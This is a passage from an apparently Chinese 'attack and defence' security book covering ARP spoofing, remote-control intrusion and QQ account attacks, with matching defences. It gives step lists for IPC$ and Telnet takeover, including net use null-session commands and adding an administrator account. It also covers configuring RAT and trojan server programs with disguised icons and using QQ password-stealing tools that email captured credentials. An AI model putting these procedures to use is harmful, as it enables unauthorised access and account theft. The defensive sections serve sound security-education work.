ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据时就会对本地ARP缓存表进行更新，存储应答中的IP和MAC地址。因此，当局域网中的某台计算机C向计算机A发送一个自己伪造的ARP应答数据时，而如果这个应答是计算机C冒充计算机B伪造的（IP地址为计算机B的IP地址，而MAC地址是伪造的MAC地址），则当计算机A接收到计算机C伪造的ARP应答数据后，就会更新本地的ARP缓存。这样在计算机A看来计算机B的IP地址没有变，但计算机B的MAC地址已经不是原来那个。由于局域网的网络流通不是根据IP地址进行，而是按照MAC地址进行传输的，所以，那个伪造出来的MAC地址在计算机A上被改变成一个不存在的MAC地址，这样就会造成网络不通，导致计算机A不能Ping通计算机B！这就是一个简单的ARP欺骗。过程如下图所示。 3.ARP欺骗攻击的两种类别 ARP欺骗攻击是黑客常用的攻击手段之一。常见的ARP欺骗攻击分为两种，一种是对路由器ARP表的欺骗攻击；另一种是对内网计算机网关的欺骗攻击。 （1）对路由器ARP表的欺骗攻击：该种ARP欺骗攻击的原理是截获网关数据。它发给路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中。结果路由器的所有数据只能发送给错误的MAC地址，造成正常的计算机无法收到信息。 （2）对内网计算机网关的欺骗攻击：该种ARP欺骗攻击的原理是伪造网关，即建立假网关，让被它欺骗的计算机向假网关发送数据，而不是通过正常的路由器途径上网，使得网内的计算机无法正常上网。"},
    {"text": "9.1.3 IP冲突攻击 9.1.3 IP冲突攻击 IP地址冲突是指在同一个局域网中，如果有两台计算机同时使用了相同的IP地址，或者其中一台计算机已经通过DHCP获取一个IP地址，同时又有其他计算机被手动分配了与此相同的IP地址的现象。一旦出现IP地址冲突，则其中一台计算机将无法正常上网，如右图所示。 IP冲突攻击只是ARP攻击的一部分，该种攻击方式能够在局域网中产生大量的ARP通信，造成局域网阻塞。黑客只要持续不断地发出伪造的ARP响应数据，就能更改目标计算机ARP缓存中的IP/MAC地址信息，造成目标计算机上不断显示IP地址冲突，使得目标计算机无法上网。 9.2 防御广播风暴 9.2 防御广播风暴 广播风暴会造成局域网中的网络设备和计算机无法正常工作，因此用户需要掌握防御广播风暴的常用措施，掌握一定计算机知识的用户可以采用VLAN技术来防御广播风暴。 9.2.1 防御广播风暴的常用措施 防御广播风暴的常用措施有：使用高质量的网线和网络设备、避免局域网中出现环路以及安装杀毒软件。 1.使用高质量的网线和网络设备 由于网线短路会引发广播风暴，因此用户可以在资金允许的情况下使用高质量的网线，既能保证网络通信质量，又能在一定程度上避免广播风暴。另外，局域网中的交换机一旦出现故障也会引起广播风暴，因此用户同样需要选择使用高质量的交换机，降低发生广播风暴的概率。 2.避免局域网中出现环路 由于局域网中一旦出现环路就可能会引发广播风暴，因此用户在连接一些比较复杂的局域网时，一定要为备用线路（如当网线从交换机接入工作一室，再接入工作二室时，则备用线路就是从交换机直接接入工作二室的网线）做好标记，以免形成环路。 3.安装杀毒软件 为了防止蠕虫病毒引发的广播风暴，用户需要安装杀毒软件并及时更新。同时每台计算机也要及时安装系统补丁程序，并禁用不必要的服务，以提高系统的安全性和可靠性。 9.2.2 使用VLAN技术防御广播风暴 9.2.2 使用VLAN技术防御广播风暴 VLAN技术是一种从逻辑上将局域网交换机划分成一个个小网段，从而实现虚拟工作组的新兴数据交换技术。该技术能够解决局域网中的广播问题，并提高安全性。VLAN技术在局域网的数据帧中增加了VLAN ID字段，通过VLAN ID可以把物理交换机划分成若干不同的VLAN。VLAN在交换机上的实现方法大致可以分为基于交换机端口和基于MAC地址两类。 1.基于交换机端口划分VLAN 基于交换机端口划分VLAN是最常用的一种VLAN划分方法，其应用也最为广泛、最有效。基于交换机端口划分VLAN是将交换机上的物理端口分成若干个组，每个组构成一个虚拟网络，每个虚拟网络都相当于一个独立的交换机，如下图所示。端口与VLAN对照表如表5-1所示。 基于交换机端口划分VLAN的方既可以适用于一个交换机，又可以适用于通过堆叠或级联方式连接在一起的多个交换机。该种划分方法的优点是简单、容易实现，从一个端口发出的广播，直接发送到VLAN内的其他端口，也便于直接监控。它的缺点是自动化程度低、灵活性差，如一个端口只能位于一个VLAN中。 2.基于MAC地址划分VLAN 基于MAC地址划分VLAN的方法是根据每个接入局域网的计算机的MAC地址来划分VLAN的。这种VLAN划分方法的最大优点就是当计算机的物理位置移动时，即从当前交换机换到其他交换机时，VLAN不用重新配置，如下图所示。MAC地址与VLAN对照表如表5-2所示。 基于MAC地址划分VLAN的缺点是，初始化时，必须登记和配置所有计算机的MAC地址，如果有几百个甚至上千台计算机，配置则会非常麻烦。另外，若用户更换了计算机的网卡，网络管理员必须重新配置VLAN。因此基于MAC地址划分VLAN的方法通常用于小型局域网。 提示：路由器无法防御广播风暴 目前局域网中使用的网络设备大多数是路由器，而路由器没有防御广播风暴的功能，一旦在路由器中存在环路或者局域网中有计算机感染蠕虫病毒，则还是会产生广播风暴。 9.3 防御ARP欺骗攻击 9.3 防御ARP欺骗攻击 由于ARP欺骗攻击主要是因为局域网中伪造的MAC地址（并且该MAC地址不存在）引起的，因此用户可以采用绑定IP/MAC地址列表的方法来进行防御，还可以使用360木马防火墙来防御ARP欺骗攻击。 9.3.1 使用静态ARP列表防御ARP欺骗攻击 在局域网中，如果用户使用的是路由器，可以通过手动添加IP/MAC地址到静态ARP列表中来绑定IP/MAC地址，这样一来，计算机就无法更改本地ARP列表，即使局域网中存在伪造的MAC地址，也无法产生ARP欺骗攻击。 STEP01：输入路由器主页网址 STEP02：输入账户名和密码 STEP03：选择静态ARP绑定设置 STEP04：启用ARP绑定 STEP05：绑定MAC地址与IP地址 STEP06：绑定其他IP地址与MAC地址 提示：将局域网中的所有IP/MAC地址快速添加到静态ARP缓存列表中 将局域网中的IP/MAC地址添加到静态ARP缓存列表中的方法除了9.3.1节介绍的方法之外，还可以直接将ARP映像表中的IP/MAC地址一次性添加到静态ARP缓存列表中。具体操作为：打开路由器主页，在左侧依次单击“IP与MAC绑定”＞“ARP映射表”选项，然后在右侧单击“全部导入”按钮便可将局域网中的所有IP/MAC地址快速添加到静态ARP缓存列表中。"},
    {"text": "9.3.2 使用360木马防火墙防御ARP欺骗攻击 9.3.2 使用360木马防火墙防御ARP欺骗攻击 360木马防火墙在一定程度上能够防御ARP欺骗攻击，主要是因为该防火墙能够自动绑定IP/MAC地址。在设置的过程中，如果自动配置的IP/MAC地址有误，则用户可以手动配置。 STEP01：进入木马防火墙 STEP02：单击“设置”按钮 STEP03：选择局域网防护 STEP04：立即开启360局域网防护 STEP05：选择立即重启计算机 STEP06：单击“详情”链接 STEP07：查看本地IP地址绑定状态 STEP08：切换到手动绑定 STEP09：选择以手动方式绑定网关 STEP10：选择添加网管 STEP11：输入网关IP和MAC地址 STEP12：添加成功 9.4 绑定MAC防御IP冲突攻击 9.4 绑定MAC防御IP冲突攻击 为了防止IP冲突攻击，用户可以在路由器中绑定IP地址与MAC地址，使得除绑定的IP地址外，任何地址都无法接入当前局域网，从而防御IP冲突攻击。 STEP01：输入cmd命令 STEP02：记录IP地址和MAC地址 输入\"ipconfig/all\"后按【Enter】键，记录本地计算机的IP地址和MAC地址。 STEP03：选择添加静态地址 STEP04：输入IP地址与MAC地址 STEP05：查看添加的静态地址 STEP06：防火墙设置 STEP07：添加IP地址过滤条目 STEP08：设置IP地址过滤条件 STEP09：查看添加的IP地址过滤条目 STEP10：添加MAC地址过滤新条目 STEP11：输入MAC地址与描述信息 STEP12：查看添加的MAC地址 STEP13：单击“属性”命令 提示：绑定MAC地址与IP地址后重启路由器 在路由器中设置绑定MAC地址与IP地址后，该设置并不会立即生效，需要手动重启路由器，方可让设置生效。 STEP14：选择更改适配器设置 STEP15：单击“属性”命令 STEP16：单击“属性”按钮 STEP17：手动配置IP地址 9.5 提高无线局域网的安全系数 9.5 提高无线局域网的安全系数 随着无线网络技术的发展，无线局域网被越来越多的用户所使用，但是在使用的同时需要注意其安全性。如果用户使用的路由器是无线路由器，可以通过修改路由器登录口令、隐藏或定期修改SSID标识以及设置WPA2—PSK密码来提高其安全系数。 9.5.1 修改路由器登录口令 路由器的登录口令是指打开路由器主页后需要输入的口令，该口令默认为admin。如果不修改该口令，该局域网内的任何用户都可以进入路由器并修改设置，当然黑客也不可以进入。为了防止他人随意进入路由器主页，用户需要修改路由器的登录口令。 STEP01：打开路由器主页 STEP02：选择修改登录口令 STEP03：修改用户名和登录口令 STEP04：输入新用户名和登录口令 9.5.2 隐藏或修改SSID 9.5.2 隐藏或修改SSID 在局域网中，SSID是Service Set Identifier的缩写，中文意思是服务集标识。SSID技术可以将一个无线局域网划分成几个需要不同身份验证的子网络，每一个子网络都需要独立的身份验证，只有通过身份验证的用户才可以进入相应的子网络，这种方法可以防止未被授权的用户进入本网络。 为了防止陌生人随意接入自己的无线局域网，用户可以隐藏或者修改SSID。隐藏SSID可以防止陌生人探测到自己所在的无线局域网并破解进入，而定期修改SSID则是一种“障眼法”，让陌生人无法确认待破解的无线局域网。隐藏或修改SSID操作都是在路由器主页中进行的，下面介绍具体的操作方法。 STEP01：选择基本设置 STEP02：修改和隐藏SSID 9.5.3 设置WPA2—PSK密码 9.5.3 设置WPA2—PSK密码 无线路由器提供了设置无线局域网登录密码的功能，如果不知道该登录密码，即使探测到该无线网络，用户仍然无法接入该局域网。在设置无线局域网登录密码时，用户需要选择安全系数更高的WPA2-PSK加密类型，提高密码被破译的难度。 STEP01：选择基本设置 STEP02：设置无线局域网登录密码 第10章 远程控制攻防 第10章 远程控制攻防 远程控制是指黑客在自己的计算机中通过Interent来远程控制目标计算机。实现远程控制的方法有很多种，既可以利用IPC$漏洞和注册表实现远程控制，又可以利用网络执法官、WinVNC等专业软件实现远程控制。为了防范黑客对自己计算机的远程控制，用户需要掌握防范远程控制的有效措施。 知识要点 ·远程控制概述 ·基于认证入侵 ·基于注册表入侵 ·使用专业软件实现远程控制 ·有效防范远程入侵和远程监控 ·其他常见的远程控制方式"},
    {"text": "第10章 远程控制攻防 10.1 远程控制概述 在Internet中，远程控制是指利用某一台计算机（主控端）远距离地去控制另外一台计算机（被控端）的技术。这里的远距离不是指现实生活中两个地方之间的距离，而是指Internet中两台计算机之间的距离。当黑客利用主控端计算机去控制被控端计算机时，就如同坐在被控端计算机面前一样，同样可以实现应用程序的启动、文件的复制粘贴等操作。 10.1.1 认识远程控制的原理 远程控制的原理是：当用户操控的计算机成功接入Internet后，通过远程访问的客户端程序发送自己的身份验证信息和要与目标计算机连接的要求，目标计算机的服务端程序验证客户身份，如果验证通过，用户便可以与目标计算机建立远程连接，则该用户实现远程控制，如右图所示。此时用户便可以通过自己的计算机监控目标计算机或向目标计算机发送要执行的指令，而目标计算机则执行这些指令，并把键盘、鼠标和屏幕刷新数据传送到自己的计算机中，使得用户就像亲自在目标计算机上进行操作一样。 如果验证未通过，则用户无法与目标计算机建立连接，也就是说用户无法远程控制目标计算机。 10.1.2 常见远程控制的类别 10.1.2 常见远程控制的类别 在Internet中，常见的远程控制类别主要有两种：第一种是一对一的远程控制，第二种是一对多的远程控制。 1.一对一的远程控制 一对一的远程控制是指一台计算机在同一时间只能远程控制一台计算机。一对一的远程控制的程序设计主要是客户机/服务器模式，该模式是远程访问控制中最普遍运用的方式。一对一的远程访问控制主要应用在要对远程主机进行具体的控制和监控的需求中。 2.一对多的远程控制 一对多的远程控制是指在同一时间可以远程控制多台计算机。一对多的远程控制并不比一对一远程访问的功能强大。一对多的访问控制主要应用是对大面积的计算机进行的，如：简单控制、定时、收费、监督等。 10.2 基于认证入侵 10.2 基于认证入侵 当前的网络设备基本上都是基于“认证”来进行身份识别和安全防范的，其中基于“账户/密码”的认证方式最为常用。对于黑客来说，他们会通过Windows系统中存在的一些缺陷来借用“账户/密码”的认证方式实现入侵，例如本节将要介绍的IPC$和Telnet入侵。 10.2.1 IPC$入侵 IPC$入侵，即通过使用Windows系统中默认启动的IPC$共享来达到入侵目标计算机的目的，从而获取目标计算机的控制权。此类入侵主要是利用计算机用户缺乏对计算机安全的知识，通常不会给计算机设置密码或者所设密码过于简单，所以导致被黑客有机可乘。实现IPC$入侵需要满足一个条件，即已经知晓目标计算机的管理员账户和密码信息。 STEP01：单击“运行”命令 STEP02：输入cmd命令 STEP03：建立IPC$连接 STEP04：建立磁盘分区映射 提示：认识建立磁盘分区映射的命令 建立IPC$连接后，用户可以通过使用net use z:\\\\IP\\x$命令建立磁盘分区映射，其中，\\\\IP\\x$表示目标计算机中的X盘（$表示隐藏的共享），z:表示将目标计算机中的X盘映射为本地磁盘的z盘。 STEP05：查看建立的磁盘映射 STEP06：断开远程链接 提示：认识IPC$空连接漏洞 IPC$连接本来要求本地计算机需要有足够的权限才能连接到目标计算机，但是IPC$连接漏洞却允许本地计算机只使用空用户名和空密码（net use\\\\192.168.59.128\\ipc$\"\"/user:\"\"）就可以与目标计算机成功建立连接。虽然黑客利用这个漏洞可以与目标计算机建立连接，但是却无法执行管理类操作，既不能映射网络驱动器，又不能上传文件、执行脚本等命令，只能探测目标计算机中的一些文件信息。 10.2.2 Telnet入侵 10.2.2 Telnet入侵 IPC$入侵虽然可以与目标计算机建立连接，但是该种入侵方法并不能夺取目标计算机的控制权。若要夺取目标计算机的控制权，则需要采用另外一种入侵方法，即Telnet入侵，利用该种入侵方法可以直接夺取目标计算机的控制权。 STEP01：建立IPC$连接 提示：认识Telnet Telnet最初是由ARPANET开发的，但是现在主要用于Internet会话。它的基本功能是允许用户登录远程计算机。 STEP02：单击“管理”命令 STEP03：选择连接到另一台计算机 STEP04：连接目标计算机 STEP05：连接成功 STEP06：选择Telnet服务 STEP07：修改启动类型 提示：在Windows 7系统中添加Telnet服务 一般情况下，Windows 7中并未安装Telnet服务，若要实现Telnet入侵则必须在目标计算机中安装并开启Telnet服务。安装Telnet服务的具体操作为：打开“控制面板”窗口，A单击“卸载程序”链接，B单击“打开或关闭Windows功能”链接，C在对话框中选中Telnet服务器和Telnet客户端，D单击“确定”按钮便可开始安装，耐心等待即可。 STEP08：启用Telnet服务 STEP09：正在启动该服务 STEP10：单击“确定”按钮 STEP11：断开IPC$连接 STEP12：取消NTLM验证 STEP13：添加用户账户 STEP14：将新用户账户添加到管理员组 STEP15：远程连接目标计算机 STEP16：输入账户和密码 STEP17：成功登录远程计算机"},
    {"text": "10.3 基于注册表入侵 10.3 基于注册表入侵 在Windows系统中，注册表是帮助Windows系统控制硬件、软件、用户环境和Windows界面的一个数据库。虽然注册表功能强大，但是黑客仍然可以注册表为基础实现远程入侵。基于注册表入侵主要包括两个阶段：修改注册表实现远程监控和开启远程注册表服务。 10.3.1 修改注册表实现远程监控 Microsoft公司为了方便网络管理员对网络中的计算机进行远程管理，在Windows系统注册表中提供了“连接网络注册表”的功能，该功能使得管理人员和其他用户可以通过注册表实现远程管理（包括检查系统配置和设置）。 虽然该功能为网络管理员提供了方便，但是却也为黑客对他人计算机的注册表进行远程操作提供了方便。下面介绍具体的操作。 STEP01：输入regedit命令 STEP02：选择连接网络注册表 STEP03：单击“高级”按钮 STEP04：选择立即查找 STEP05：选择目标计算机 STEP06：确认所选的目标计算机 STEP07：查看目标计算机的注册表 提示：查找不同工作组中的目标计算机 当目标计算机与自己所在计算机不在同一个工作组时，则首先在“选择计算机”对话框中单击“位置”按钮更改工作组，然后再选择目标计算机。 10.3.2 开启远程注册表服务 10.3.2 开启远程注册表服务 当黑客成功地查看到目标计算机中的注册表信息后，如果不开启目标计算机中的远程注册表服务，就无法远程编辑目标计算机的注册表信息。因此黑客会再次与目标计算机建立IPC$连接，然后开启远程注册表服务。 STEP01：建立IPC$连接 在“命令提示符”窗口中输入与目标计算机建立IPC$连接的命令，按【Enter】键。 STEP02：单击“管理”命令 STEP03：选择连接到另一台计算机 打开“计算机管理”窗口，在菜单栏中依次单击“操作”＞“连接到另一台计算机”命令。 STEP04：连接到目标计算机 STEP05：选择Remote Registry服务 STEP06：启动Remote Registry服务 STEP07：正在启动所选服务 STEP08：单击“确定”按钮 STEP09：断开IPC$连接 STEP10：确认断开IPC$连接 10.4 使用专业软件实现远程控制 10.4 使用专业软件实现远程控制 实现远程控制除了利用Windows操作系统的IPC$连接和Telnet服务之外，用户还可以使用专业的远程控制软件，例如本节将要介绍的“网络执法官”和“远程控制任我行”。 10.4.1 网络执法官 “网络执法官”是一款局域网管理软件，采用网络底层协议，只需在局域网中的任一台普通计算机上运行即可穿透每台计算机的防火墙，对网络中的每一台计算机进行监控，实现远程控制。 STEP01：以管理员身份运行程序 STEP02：设置监控范围 STEP03：选择报警设置 STEP04：报警设置 STEP05：选择口令设置 返回“网络执法官”主界面，在菜单栏中依次单击“设置”＞“口令”命令。 STEP06：设置口令 STEP07：选择默认权限 STEP08：用户权限设置 STEP09：选择关键主机组 STEP10：关键主机组设置 STEP11：选择IP保护 STEP12：IP保护设置 STEP13：选择其他设定 STEP14：设置检测灵敏度和断开方式 STEP15：选择主机保护 STEP16：主机保护设置 STEP17：绑定MAC与IP/机器名称 STEP18：MAC/IP绑定设置 STEP19：选择添加用户 STEP20：输入新用户的MAC地址 10.4.2 远程控制任我行 10.4.2 远程控制任我行 “远程控制任我行”是一款非常优秀的专业远程控制软件，其功能十分强大，用户使用该软件可以达到随心所欲控制目标计算机的目的。使用该软件首先需要配置服务端程序，然后再使用该软件监视并远程控制目标计算机。 1.配置服务端程序 “远程控制任我行”既具有普通远程控制软件的特点，又具有木马程序的特点。其中与木马程序相似的特点是需要配置服务端程序，并且使目标计算机运行该程序。配置服务端程序的具体操作如下。 STEP01：启动“远程控制任我行” STEP02：选择配置服务端 STEP03：选择配置类型 STEP04：选择更换图标 STEP05：选择字符图标 STEP06：放大显示所选的图标 STEP07：设置邮件 STEP08：设置安装信息 STEP09：设置启动选项 STEP10：设置提示信息 STEP11：预览提示信息 STEP12：单击“浏览”按钮 STEP13：选择保存路径 STEP14：确认所设的保存路径 STEP15：确认生成服务端 STEP16：查看生成的服务端程序 2.监视并远程控制目标计算机 当目标计算机运行了自己所配置的服务端程序之后，用户便可在自己的计算机中连接并远程控制目标计算机。 STEP01：选择打开IP列表 STEP02：选择增加IP地址 STEP03：输入目标计算机IP地址 STEP04：选择添加的IP地址 STEP05：开始连接目标计算机 提示：搜索IP地址 当用户不知道目标计算机的IP地址时，可以选择搜索其IP地址，按照10.4.2节第1点中STEP01～STEP02介绍的方法打开IP地址对话框，A单击“搜索IP”按钮，弹出“扫描远程主机”对话框，B设置IP地址范围，C单击“扫描”按钮，待其扫描完毕后可在右侧看见扫描出的目标计算机IP地址。 STEP06：查看目标计算机的磁盘分区 STEP07：下载指定文件 STEP08：选择保存位置 STEP09：开始下载 STEP10：查看目标计算机中的进程 STEP11：编辑提示信息 STEP12：查看编辑的提示信息 STEP13：查看远程命令控制 切换至“远程命令控制”选项卡，可对目标计算机进行正常关机、重新启动等操作。 STEP14：查看远程系统配置信息 STEP15：查看剪贴板和运行窗体信息 单击“远程剪贴板信息”和“远程运行窗体信息”底部的“查看”按钮，可查看剪贴板信息和运行窗体信息。"},
    {"text": "10.5 有效防范远程入侵和远程监控 10.5 有效防范远程入侵和远程监控 了解远程入侵和远程监控的原理与操作方法并非是最终目的，学会如何有效防范远程入侵和远程监控才是最终目的。用户在设置防范措施时，不仅需要采用有效的方式防范IPC$远徎入侵，还需要采用有效的方法防范注册表和Telnet远程入侵。 10.5.1 防范IPC$远程入侵 防范IPC$远程入侵常见的方法有3种：第一种是禁用共享和NetBIOS；第二种是设置本地安全策略；第三种是修改注册表禁止共享。 1.禁用共享和NetBIOS 当自己的计算机中存在共享时，则计算机可能已经遭受了IPC$的攻击。当出现这种情况时，用户可以通过禁用共享和NetBIOS来防范IPC$入侵。 STEP01：单击“属性”命令 STEP02：选择更改适配器设置 STEP03：单击“属性”命令 STEP04：关闭打印机共享 STEP05：单击“属性”按钮 STEP06：单击“高级”按钮 STEP07：禁用NetBIOS 2.设置本地安全策略 在本地安全策略中，“网络访问：不允许SAM账户和共享的匿名枚举”策略可以有效防范IPC$远程入侵，因此用户需要在本地安全策略中启动该功能。 STEP01：单击“控制面板”选项 STEP02：选择管理工具 STEP03：选择本地安全策略 STEP04：不允许SAM账户的匿名枚举 STEP05：启用所选策略功能 STEP06：确认设置更改 STEP07：单击“确定”按钮 STEP08：成功启用所选策略 3.修改注册表禁止共享 在Windows注册表中，与IPC$相关的键值项有restrictanonymous和AutoshareServer（AutoShareWks），用户可以通过调整这些键值项的值来禁止IPC$共享。 STEP01：单击“运行”命令 STEP02：输入regedit命令 STEP03：双击restrictanonymous选项 STEP04：设置数值数据为1 STEP05：双击AutoshareServer选项 STEP06：设置数值数据为0 STEP07：设置AutoshareWks数值数据 10.5.2 防范注册表和Telnet远程入侵 10.5.2 防范注册表和Telnet远程入侵 在Windows系统中，为了防范注册表和Telnet远程入侵，用户需要关闭远程注册表编辑服务以及Telnet服务端和客户端，这样才能避免自己的计算机被他人实现远程入侵或者远程监控。 1.防范注册表入侵 基于注册表入侵是黑客通过开启目标计算机中的远程注册表服务（Remote Registry）来实现的，该服务能够让黑客远程查看和编辑目标计算机中的注册表信息。因此为了防范注册表入侵，用户需要将该服务禁用。 STEP01：双击“服务”选项 STEP02：双击Remote Registry选项 STEP03：设置启动类型为禁用 STEP04：停止Remote Registry服务 STEP05：正在停止所选服务 STEP06：保存退出 2.防范Telnet入侵 基于Telnet入侵是通过启用Telnet服务来实现的，为了防范Telnet入侵，用户可以选择关闭Telnet功能。 STEP01：选择卸载程序 STEP02：选择打开或关闭Windows功能 STEP03：关闭Telnet服务器和客户端 STEP04：正在更改功能 STEP05：成功关闭Telnet功能 10.6 其他常见的远程控制方式 10.6 其他常见的远程控制方式 远程控制并不全是远程入侵和远程监控，它也包括QQ远程协助、Windows远程协助之类的远程控制，这类远程控制是在控制双方同意的情况下实现的远程控制，它并不属于远程入侵或者远程监控。 10.6.1 QQ远程协助 QQ远程协助是腾讯QQ推出的一项便于用户远程协助，以帮助好友处理计算机问题的功能。该功能既可以让QQ好友查看自己的计算机桌面，又可以让QQ好友远程控制自己的计算机桌面，一切都由自己决定。 STEP01：选择接收远程协助邀请 STEP02：选择显示质量 STEP03：设置远程控制窗口浮动 STEP04：远程控制目标计算机 STEP05：选择释放控制 STEP06：查看目标计算机的桌面 提示：用户利用组合键取消远程控制 除了按照STEP05介绍的方法释放对目标计算机的控制之外，发送远程协助请求的用户也可以主动释放，一旦发送邀请的用户按【Shift+Esc】组合键，则会释放QQ好友对自己计算机的远程控制。 STEP07：断开与目标计算机的远程连接 STEP08：成功断开远程链接 10.6.2 Windows远程协助 10.6.2 Windows远程协助 Windows远程协助是一种能够连接到远程计算机或者接受远程计算机的协助邀请，从而实现远程控制的方法。若要使用Windows远程协助，则首先需要在自己的计算机中启用Windows远程协助功能，然后再通过Windows远程协助帮助对方或者接受对方的帮助。 1.启用Windows远程协助 默认情况下，Windows 7系统关闭了Windows远程协助功能，即不允许其他计算机连接此计算机。若要使用Windows远程协助，则必须开启该功能，设置允许其他计算机连接此计算机，设置的具体操作如下。 STEP01：单击“属性”命令 STEP02：单击“远程设置”链接 STEP03：选择允许特定的计算机连接 STEP04：单击“确定”按钮 STEP05：保存退出 2.使用Windows远程协助实现远程控制 开启Windows远程协助功能后，用户便可以接受利用Windows远程协助实现对目标计算机的远程控制。 STEP01：选择Windows远程协助 STEP02：选择帮助邀请人 STEP03：选择使用轻松连接 STEP04：输入轻松连接密码 STEP05：查看实际大小的桌面 提示：获取轻松连接密码 如果用户是Windows远程协助的主控端，则需要被控端设置轻松连接密码。其具体操作为：打开“Windows远程协助”窗口，A在界面中单击“邀请信任的人帮助您”按钮，切换至新的界面，B单击“使用轻松连接”按钮，便可获取轻松连接密码。 STEP06：选择发送请求控制 STEP07：远程控制目标计算机 STEP08：向好友发送聊天内容 STEP09：查看好友回复的内容 STEP10：Windows远程协助设置 STEP11：断开Windows远程协助"},
    {"text": "第11章 QQ攻防 第11章 QQ攻防 腾讯QQ是国内使用最广泛的即时通信软件之一，随着使用的人越来越多，太阳级别、6位数的QQ越来越多，这些QQ的特殊性引起了黑客的兴趣，他们分别采用不同的方法来盗取这些特殊的QQ号码或者向其发送炸弹，从而达到盗取QQ密码的目的。因此用户需要了解黑客盗取QQ密码的常用方法和提高QQ安全系数的方法。 知识要点 ·向指定QQ发送炸弹 ·盗取指定QQ的密码 ·利用“QQ简单盗”盗取QQ密码 ·利用“风云QQ尾巴生成器”发送炸弹 ·定期修改QQ密码 ·申请QQ密保 第11章 QQ攻防 11.1 攻击QQ常用的方式 在Internet中，攻击QQ的常用方式主要有两种:第一种是向指定QQ发送炸弹，从而导致目标QQ直接掉线；第二种是盗取指定QQ的密码，从而获取该QQ账号。 11.1.1 向指定QQ发送炸弹 向指定QQ发送炸弹是指向指定QQ发送大量的垃圾信息，突破对方QQ的信息接收能力。向指定QQ发送炸弹的方法主要有两种：第一种是在新建文本文档中随便输入一些文本内容，然后将其保存在空文件夹中，不断地进行全选、复制、粘贴操作，当复制的文件成百上千时，将其一次性发送给指定QQ，一旦对方接收后，指定QQ便会因为接收的文件过多而掉线。 第二种是利用专业的QQ炸弹发送软件向指定QQ发送炸弹。例如“QQ细胞发送器”就是一款专业的QQ炸弹发送软件。使用该软件发送QQ炸弹时，用户只需写入内容、发送数目，发送后QQ炸弹就会连绵不绝地发送到指定QQ。由于这种炸弹能够大量地占用网络带宽，阻塞网络，从而导致用户的上网速度变慢。如果计算机的系统资源被大量地占据，还可能会导致计算机死机。 11.1.2 盗取指定QQ的密码 11.1.2 盗取指定QQ的密码 向指定QQ发送炸弹可以说是一种恶作剧，而盗取指定QQ的密码则是有心而为之。盗取指定QQ的密码后，黑客就能够登录该QQ号码，并修改登录密码（如果未申请QQ密保，黑客可以直接修改QQ密码），从而拥有该QQ号码。盗取指定QQ密码的常用方法有3种：第一种是暴力破解；第二种是专业的破解工具；第三种是木马程序。 1.暴力破解 暴力破解是指对已知的QQ账号密码进行大范围的测试，通过猜测其QQ密码的组成元素（字母、数字或下划线）以及位数来破解目标QQ的密码。该种破解方式适合密码设置较为简单（密码位数小于4位，且密码的组成元素单一）的QQ账户。 2.专业的盗取工具 Internet中提供了“QQ简单盗”、“QQ眼睛”等大量盗取QQ密码的工具（11.2节将对这些软件的使用进行详细介绍），这些工具分别提供了各种不同的盗号方法。例如“QQ眼睛”就是一种通过替换目标计算机中QQ快捷图标来实现盗取QQ密码的软件。 3.木马程序 使用木马程序是指想尽一切办法让目标QQ用户运行自己制作的木马程序，通过木马程序来获取目标计算机中的QQ密码，从而达到盗取QQ密码的目的。一旦木马程序在目标计算机中搜索到QQ密码，便可将其发送到指定的电子邮箱中。 11.2 黑客盗取QQ密码的常用工具 11.2 黑客盗取QQ密码的常用工具 在Internet中，黑客提供了不少的专业盗号工具，这些工具虽然功能比较单一，但是一些计算机新手却常常会掉入这些盗号工具制作的陷阱中，从而丢失QQ账号。本节就来介绍常用盗号工具的使用方法。 11.2.1 QQ简单盗 “QQ简单盗”是一款十分容易使用的盗号工具，它采用了进程插入技术，使得软件本身不会在系统中产生进程，并且也无注册表启动项，从而增加了软件的自我保护功能。下面介绍“QQ简单盗”的使用方法。 STEP01：以管理员身份运行“QQ简单盗” STEP02：设置收/发信邮箱 STEP03：查看是否收到测试信件 提示：准确设置SMTP服务器 在STEP02操作中，设置的SMTP服务器必须与发信邮箱相对应。 STEP04：单击“选择木马图标”按钮 STEP05：选择木马程序图标 STEP06：单击“生成木马”按钮 STEP07：设置保存位置和文件名 STEP08：成功生成服务端程序 11.2.2 “QQ眼睛” 11.2.2 “QQ眼睛” “QQ眼睛”是一种安装在本地计算机的盗号软件，当其他用户在安装有“QQ眼睛”的计算机中登录QQ后，“QQ眼睛”就会记录输入的QQ账号和密码，并将其发送到指定的电子邮箱中。下面介绍“QQ眼睛”的使用方法。 STEP01：启动“QQ眼睛”程序 STEP02：单击“确定”按钮 STEP03：关闭打开着的QQ程序 STEP04：单击“浏览”按钮 STEP05：选择腾讯QQ的安装路径 STEP06：设置邮箱 STEP07：提示测试信发送成功 STEP08：查看发送的测试信 STEP09：单击“保存配置”按钮 STEP10：配置成功 11.2.3 阿拉QQ密码潜伏者 11.2.3 阿拉QQ密码潜伏者 “阿拉QQ密码潜伏者”是一款QQ盗密码软件，该软件可以生成服务端程序，目标计算机用户一旦运行服务端程序，它便会将密码发送到指定的邮箱，实现QQ密码的盗取。 STEP01：双击“阿拉QQ密码潜伏者”图标 STEP02：输入收信邮箱地址 STEP03：成功发送测试邮件 STEP04：查看测试邮件 STEP05：设置QQ程序的运行时间 STEP06：成功生成服务端程序 STEP07：查看生成的服务端程序"},
    {"text": "11.3 黑客远程攻击QQ的常用工具 11.3 黑客远程攻击QQ的常用工具 黑客远程攻击QQ是指向目标QQ发送大量的信息炸弹，使得目标QQ掉线或者所在计算机死机。Internet中提供了不少的QQ炸弹发送工具，例如“风云QQ尾巴生成器”、“QQ细胞发送器”及“飘叶千夫指”。 11.3.1 风云QQ尾巴生成器 “风云QQ尾巴生成器”能够在识别对方的QQ昵称后发送QQ尾巴，并且每个QQ只发送一次，这样既不会打扰对方聊天，同时又使对方信以为真，打开带有病毒木马的网页。同时该软件的进度无法利用关联启动技术杀死，即便结束掉了，它又能自动启动并恢复。下面介绍“风云QQ尾巴生成器”的使用方法。 STEP01：启动“风云QQ尾巴生成器” STEP02：编辑尾巴内容 STEP03：成功生成尾巴 STEP04：查看生成的尾巴 11.3.2 QQ细胞发送器 11.3.2 QQ细胞发送器 “QQ细胞发送器”是一款能够向目标QQ发送大量相同信息的软件。这些大量相同的信息就是QQ炸弹，它能够让被攻击者应接不暇，但前提是攻击者正在与对方进行聊天。“QQ细胞发送器”的操作方法如下。 STEP01：启动“QQ细胞发送器” 